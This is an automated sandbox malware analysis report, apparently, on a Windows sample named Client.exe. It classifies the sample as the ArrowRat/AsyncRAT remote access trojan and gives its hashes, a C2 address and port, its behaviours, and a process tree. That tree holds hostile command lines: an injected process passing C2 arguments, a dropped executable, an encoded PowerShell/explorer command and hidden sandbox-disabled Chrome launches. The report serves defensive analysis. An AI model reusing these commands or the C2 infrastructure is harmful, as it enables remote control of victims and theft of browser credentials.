Overview

overview

10

Static

static

10

Client.exe

windows10-1703-x64

10

Analysis

  • max time kernel
    437s
  • max time network
    602s
  • platform
    windows10-1703_x64
  • resource
    win10-20220812-en
  • resource tags

    arch:x64arch:x86image:win10-20220812-enlocale:en-usos:windows10-1703-x64system
  • submitted
    15-10-2022 07:51

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    Client.exe

  • Size

    158KB

  • MD5

    c45efc7859477f21053f9aceed75ee2e

  • SHA1

    f6131ecbb660b1dc6807f5136535f56ec624a894

  • SHA256

    612279d12e8d9d25ad3de6d0322cb0e03047fcbda29c7753f761ca1dea2ef36d

  • SHA512

    67947148c26ac305047d348dc2cfdb793c4ffd76e383044b6babd61f595a2662e916bee6ffa31529be1eb2b7278dc4aa76c39bd957257c1131551623548e601c

  • SSDEEP

    3072:dbR1+0OoCthfbEFtbcfjF45gjryKKqH6JY2doszEmQotEPPcfPJ8a8Y:dbRY0ODhTEPgnjuIJzo+PPcfPJ8

Score
10/10
arrowratasyncratclientpersistenceratspywarestealer

Malware Config

Extracted

Family

arrowrat

Botnet

Client

C2

95.180.79.109:6363

Mutex

YRTqtvXFg

Signatures

  • ArrowRat

    Remote access tool with various capabilities first seen in late 2021.

    ratarrowrat
  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers.

    ratasyncrat
  • Async RAT payload 3 IoCs
    rat
  • Executes dropped EXE 1 IoCs
  • Modifies Installed Components in the registry 2 TTPs 2 IoCs
    persistence
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Windows directory 7 IoCs
  • Program crash 1 IoCs
  • Checks SCSI registry key(s) 3 TTPs 44 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 5 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 10 IoCs
  • Modifies Internet Explorer settings 1 TTPs 8 IoCs
    adwarespyware
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 3 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of SetWindowsHookEx 8 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Client.exe
    "C:\Users\Admin\AppData\Local\Temp\Client.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2124
    • C:\Windows\explorer.exe
      "C:\Windows\explorer.exe"
      2⤵
      • Modifies Installed Components in the registry
      • Enumerates connected drives
      • Drops file in Windows directory
      • Checks SCSI registry key(s)
      • Modifies Internet Explorer settings
      • Modifies registry class
      • Suspicious behavior: AddClipboardFormatListener
      • Suspicious behavior: GetForegroundWindowSpam
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:4828
      • C:\Windows\system32\ctfmon.exe
        ctfmon.exe
        3⤵
          PID:1796
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client 95.180.79.109 6363 YRTqtvXFg
        2⤵
          PID:2644
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client 95.180.79.109 6363 YRTqtvXFg
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2772
          • C:\Windows\SysWOW64\cmd.exe
            "cmd.exe" /c C:/Users/Public/hostOPINFO.exe
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:2928
            • C:\Users\Public\hostOPINFO.exe
              C:/Users/Public/hostOPINFO.exe
              4⤵
              • Executes dropped EXE
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:1876
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell.exe -c explorer shell:::{3080F90E-D7AD-11D9-BD98-0000947B0257}
                5⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:3372
                • C:\Windows\explorer.exe
                  "C:\Windows\explorer.exe" shell::: -encodedCommand MwAwADgAMABGADkAMABFAC0ARAA3AEEARAAtADEAMQBEADkALQBCAEQAOQA4AC0AMAAwADAAMAA5ADQANwBCADAAMgA1ADcA -inputFormat xml -outputFormat text
                  6⤵
                    PID:3504
                • C:\Windows\system32\Cmd.exe
                  C:\Windows\system32\Cmd.exe
                  5⤵
                  • Suspicious use of WriteProcessMemory
                  PID:4888
                  • C:\Windows\explorer.exe
                    explorer
                    6⤵
                    • Modifies Installed Components in the registry
                    • Enumerates connected drives
                    • Drops file in Windows directory
                    • Checks SCSI registry key(s)
                    • Modifies registry class
                    • Suspicious behavior: GetForegroundWindowSpam
                    • Suspicious use of AdjustPrivilegeToken
                    • Suspicious use of FindShellTrayWindow
                    • Suspicious use of SendNotifyMessage
                    PID:4436
                    • C:\Program Files\Mozilla Firefox\firefox.exe
                      "C:\Program Files\Mozilla Firefox\firefox.exe"
                      7⤵
                        PID:5316
                        • C:\Program Files\Mozilla Firefox\firefox.exe
                          "C:\Program Files\Mozilla Firefox\firefox.exe"
                          8⤵
                          • Checks processor information in registry
                          • Modifies registry class
                          • Suspicious use of AdjustPrivilegeToken
                          • Suspicious use of SetWindowsHookEx
                          PID:4788
                          • C:\Program Files\Mozilla Firefox\firefox.exe
                            "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4788.0.1192402051\274855984" -parentBuildID 20200403170909 -prefsHandle 1516 -prefMapHandle 1508 -prefsLen 1 -prefMapSize 219938 -appdir "C:\Program Files\Mozilla Firefox\browser" - 4788 "\\.\pipe\gecko-crash-server-pipe.4788" 1596 gpu
                            9⤵
                              PID:1188
                            • C:\Program Files\Mozilla Firefox\firefox.exe
                              "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4788.3.786192654\150664607" -childID 1 -isForBrowser -prefsHandle 2312 -prefMapHandle 2244 -prefsLen 156 -prefMapSize 219938 -parentBuildID 20200403170909 -appdir "C:\Program Files\Mozilla Firefox\browser" - 4788 "\\.\pipe\gecko-crash-server-pipe.4788" 2228 tab
                              9⤵
                                PID:5980
                              • C:\Program Files\Mozilla Firefox\firefox.exe
                                "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4788.13.1615388448\1099904071" -childID 2 -isForBrowser -prefsHandle 3380 -prefMapHandle 3376 -prefsLen 6938 -prefMapSize 219938 -parentBuildID 20200403170909 -appdir "C:\Program Files\Mozilla Firefox\browser" - 4788 "\\.\pipe\gecko-crash-server-pipe.4788" 3268 tab
                                9⤵
                                  PID:4060
                                • C:\Program Files\Mozilla Firefox\firefox.exe
                                  "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4788.20.2053701898\2032098946" -parentBuildID 20200403170909 -prefsHandle 3764 -prefMapHandle 4892 -prefsLen 10383 -prefMapSize 219938 -appdir "C:\Program Files\Mozilla Firefox\browser" - 4788 "\\.\pipe\gecko-crash-server-pipe.4788" 3808 rdd
                                  9⤵
                                    PID:6912
                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --mute-audio --disable-audio --disable-3d-apis --disable-gpu --disable-d3d11 "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\Chrome Data"
                            5⤵
                            • Enumerates system info in registry
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
                            • Suspicious use of WriteProcessMemory
                            PID:5340
                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\Chrome Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\Chrome Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\Chrome Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0xdc,0xe0,0xe4,0xb8,0xe8,0x7ffc89cf4f50,0x7ffc89cf4f60,0x7ffc89cf4f70
                              6⤵
                                PID:5348
                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1608,15028285673897668084,11078826632205742980,131072 --lang=en-US --service-sandbox-type=utility --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\Chrome Data" --mojo-platform-channel-handle=1992 /prefetch:8
                                6⤵
                                  PID:5528
                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1608,15028285673897668084,11078826632205742980,131072 --lang=en-US --service-sandbox-type=network --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\Chrome Data" --mojo-platform-channel-handle=1648 /prefetch:8
                                  6⤵
                                  • Suspicious behavior: EnumeratesProcesses
                                  PID:5512
                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1608,15028285673897668084,11078826632205742980,131072 --disable-d3d11 --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\Chrome Data" --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --use-gl=swiftshader-webgl --mojo-platform-channel-handle=1624 /prefetch:2
                                  6⤵
                                    PID:5500
                                    • C:\Windows\system32\WerFault.exe
                                      C:\Windows\system32\WerFault.exe -u -p 5500 -s 220
                                      7⤵
                                      • Program crash
                                      PID:5848
                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1608,15028285673897668084,11078826632205742980,131072 --disable-gpu-compositing --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\Chrome Data" --disable-3d-apis --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2280 /prefetch:1
                                    6⤵
                                      PID:5572
                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1608,15028285673897668084,11078826632205742980,131072 --disable-gpu-compositing --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\Chrome Data" --disable-3d-apis --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2384 /prefetch:1
                                      6⤵
                                        PID:5564
                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1608,15028285673897668084,11078826632205742980,131072 --disable-gpu-compositing --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\Chrome Data" --disable-3d-apis --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3292 /prefetch:1
                                        6⤵
                                          PID:5792
                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1608,15028285673897668084,11078826632205742980,131072 --lang=en-US --service-sandbox-type=utility --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\Chrome Data" --mojo-platform-channel-handle=4024 /prefetch:8
                                          6⤵
                                            PID:5896
                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1608,15028285673897668084,11078826632205742980,131072 --lang=en-US --service-sandbox-type=utility --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\Chrome Data" --mojo-platform-channel-handle=4392 /prefetch:8
                                            6⤵
                                              PID:5948
                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1608,15028285673897668084,11078826632205742980,131072 --lang=en-US --service-sandbox-type=utility --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\Chrome Data" --mojo-platform-channel-handle=4256 /prefetch:8
                                              6⤵
                                                PID:5940
                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1608,15028285673897668084,11078826632205742980,131072 --lang=en-US --service-sandbox-type=none --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\Chrome Data" --mojo-platform-channel-handle=4284 /prefetch:8
                                                6⤵
                                                • Suspicious behavior: EnumeratesProcesses
                                                PID:3180
                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1608,15028285673897668084,11078826632205742980,131072 --lang=en-US --service-sandbox-type=none --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\Chrome Data" --mojo-platform-channel-handle=4728 /prefetch:8
                                                6⤵
                                                • Suspicious behavior: EnumeratesProcesses
                                                PID:868
                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1608,15028285673897668084,11078826632205742980,131072 --lang=en-US --service-sandbox-type=utility --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\Chrome Data" --mojo-platform-channel-handle=4708 /prefetch:8
                                                6⤵
                                                  PID:1164
                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1608,15028285673897668084,11078826632205742980,131072 --lang=en-US --service-sandbox-type=utility --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\Chrome Data" --mojo-platform-channel-handle=4764 /prefetch:8
                                                  6⤵
                                                    PID:2548
                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1608,15028285673897668084,11078826632205742980,131072 --lang=en-US --service-sandbox-type=utility --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\Chrome Data" --mojo-platform-channel-handle=5052 /prefetch:8
                                                    6⤵
                                                      PID:1336
                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1608,15028285673897668084,11078826632205742980,131072 --lang=en-US --service-sandbox-type=utility --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\Chrome Data" --mojo-platform-channel-handle=5048 /prefetch:8
                                                      6⤵
                                                        PID:5196
                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1608,15028285673897668084,11078826632205742980,131072 --lang=en-US --service-sandbox-type=none --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\Chrome Data" --mojo-platform-channel-handle=4928 /prefetch:8
                                                        6⤵
                                                        • Suspicious behavior: EnumeratesProcesses
                                                        PID:3540
                                                • C:\Windows\SysWOW64\explorer.exe
                                                  "C:\Windows\System32\explorer.exe"
                                                  3⤵
                                                  • Modifies registry class
                                                  PID:3972
                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\Pandora" --no-sandbox --allow-no-sandbox-job --disable-accelerated-layers --disable-accelerated-plugins --disable-audio --disable-gpu --disable-d3d11 --disable-accelerated-2d-canvas --disable-deadline-scheduling --disable-ui-deadline-scheduling --aura-no-shadows --mute-audio
                                                  3⤵
                                                  • Enumerates system info in registry
                                                  • Suspicious behavior: EnumeratesProcesses
                                                  • Suspicious use of SendNotifyMessage
                                                  • Suspicious use of WriteProcessMemory
                                                  PID:1440
                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\Pandora /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Google\Chrome\Pandora\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\Pandora --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0xd4,0xd8,0xdc,0xb0,0xe0,0x7ffc89cf4f50,0x7ffc89cf4f60,0x7ffc89cf4f70
                                                    4⤵
                                                      PID:2628
                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1496,12078660577086485990,7497159657439605948,131072 --lang=en-US --service-sandbox-type=network --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\Pandora" --mojo-platform-channel-handle=1700 --allow-no-sandbox-job /prefetch:8
                                                      4⤵
                                                      • Suspicious behavior: EnumeratesProcesses
                                                      PID:4856
                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-sandbox --field-trial-handle=1496,12078660577086485990,7497159657439605948,131072 --disable-gpu-compositing --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\Pandora" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2312 --allow-no-sandbox-job /prefetch:1
                                                      4⤵
                                                      • Suspicious behavior: EnumeratesProcesses
                                                      PID:1880
                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-sandbox --field-trial-handle=1496,12078660577086485990,7497159657439605948,131072 --disable-gpu-compositing --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\Pandora" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2284 --allow-no-sandbox-job /prefetch:1
                                                      4⤵
                                                      • Suspicious behavior: EnumeratesProcesses
                                                      PID:4948
                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1496,12078660577086485990,7497159657439605948,131072 --lang=en-US --service-sandbox-type=utility --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\Pandora" --mojo-platform-channel-handle=2104 --allow-no-sandbox-job /prefetch:8
                                                      4⤵
                                                      • Suspicious behavior: EnumeratesProcesses
                                                      PID:3404
                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1496,12078660577086485990,7497159657439605948,131072 --no-sandbox --disable-d3d11 --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\Pandora" --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --use-gl=swiftshader-webgl --mojo-platform-channel-handle=1512 --allow-no-sandbox-job /prefetch:2
                                                      4⤵
                                                      • Suspicious behavior: EnumeratesProcesses
                                                      PID:4408
                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-sandbox --field-trial-handle=1496,12078660577086485990,7497159657439605948,131072 --disable-gpu-compositing --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\Pandora" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3140 --allow-no-sandbox-job /prefetch:1
                                                      4⤵
                                                      • Suspicious behavior: EnumeratesProcesses
                                                      PID:2168
                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1496,12078660577086485990,7497159657439605948,131072 --lang=en-US --service-sandbox-type=utility --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\Pandora" --mojo-platform-channel-handle=3660 --allow-no-sandbox-job /prefetch:8
                                                      4⤵
                                                      • Suspicious behavior: EnumeratesProcesses
                                                      PID:4376
                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1496,12078660577086485990,7497159657439605948,131072 --lang=en-US --service-sandbox-type=utility --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\Pandora" --mojo-platform-channel-handle=4080 --allow-no-sandbox-job /prefetch:8
                                                      4⤵
                                                      • Suspicious behavior: EnumeratesProcesses
                                                      PID:4988
                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1496,12078660577086485990,7497159657439605948,131072 --lang=en-US --service-sandbox-type=utility --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\Pandora" --mojo-platform-channel-handle=4056 --allow-no-sandbox-job /prefetch:8
                                                      4⤵
                                                      • Suspicious behavior: EnumeratesProcesses
                                                      PID:5176
                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1496,12078660577086485990,7497159657439605948,131072 --lang=en-US --service-sandbox-type=utility --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\Pandora" --mojo-platform-channel-handle=4412 --allow-no-sandbox-job /prefetch:8
                                                      4⤵
                                                      • Suspicious behavior: EnumeratesProcesses
                                                      PID:4648
                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1496,12078660577086485990,7497159657439605948,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\Pandora" --mojo-platform-channel-handle=3700 --allow-no-sandbox-job /prefetch:8
                                                      4⤵
                                                      • Suspicious behavior: EnumeratesProcesses
                                                      PID:3016
                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1496,12078660577086485990,7497159657439605948,131072 --lang=en-US --service-sandbox-type=utility --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\Pandora" --mojo-platform-channel-handle=4472 --allow-no-sandbox-job /prefetch:8
                                                      4⤵
                                                      • Suspicious behavior: EnumeratesProcesses
                                                      PID:1292
                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1496,12078660577086485990,7497159657439605948,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\Pandora" --mojo-platform-channel-handle=4508 --allow-no-sandbox-job /prefetch:8
                                                      4⤵
                                                      • Suspicious behavior: EnumeratesProcesses
                                                      PID:4396
                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1496,12078660577086485990,7497159657439605948,131072 --lang=en-US --service-sandbox-type=utility --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\Pandora" --mojo-platform-channel-handle=4500 --allow-no-sandbox-job /prefetch:8
                                                      4⤵
                                                      • Suspicious behavior: EnumeratesProcesses
                                                      PID:4304
                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1496,12078660577086485990,7497159657439605948,131072 --lang=en-US --service-sandbox-type=utility --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\Pandora" --mojo-platform-channel-handle=3676 --allow-no-sandbox-job /prefetch:8
                                                      4⤵
                                                      • Suspicious behavior: EnumeratesProcesses
                                                      PID:5172
                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1496,12078660577086485990,7497159657439605948,131072 --lang=en-US --service-sandbox-type=utility --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\Pandora" --mojo-platform-channel-handle=4512 --allow-no-sandbox-job /prefetch:8
                                                      4⤵
                                                      • Suspicious behavior: EnumeratesProcesses
                                                      PID:3652
                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-sandbox --field-trial-handle=1496,12078660577086485990,7497159657439605948,131072 --disable-gpu-compositing --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\Pandora" --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4524 --allow-no-sandbox-job /prefetch:1
                                                      4⤵
                                                      • Suspicious behavior: EnumeratesProcesses
                                                      PID:1888
                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1496,12078660577086485990,7497159657439605948,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\Pandora" --mojo-platform-channel-handle=3728 --allow-no-sandbox-job /prefetch:8
                                                      4⤵
                                                      • Suspicious behavior: EnumeratesProcesses
                                                      PID:5992
                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
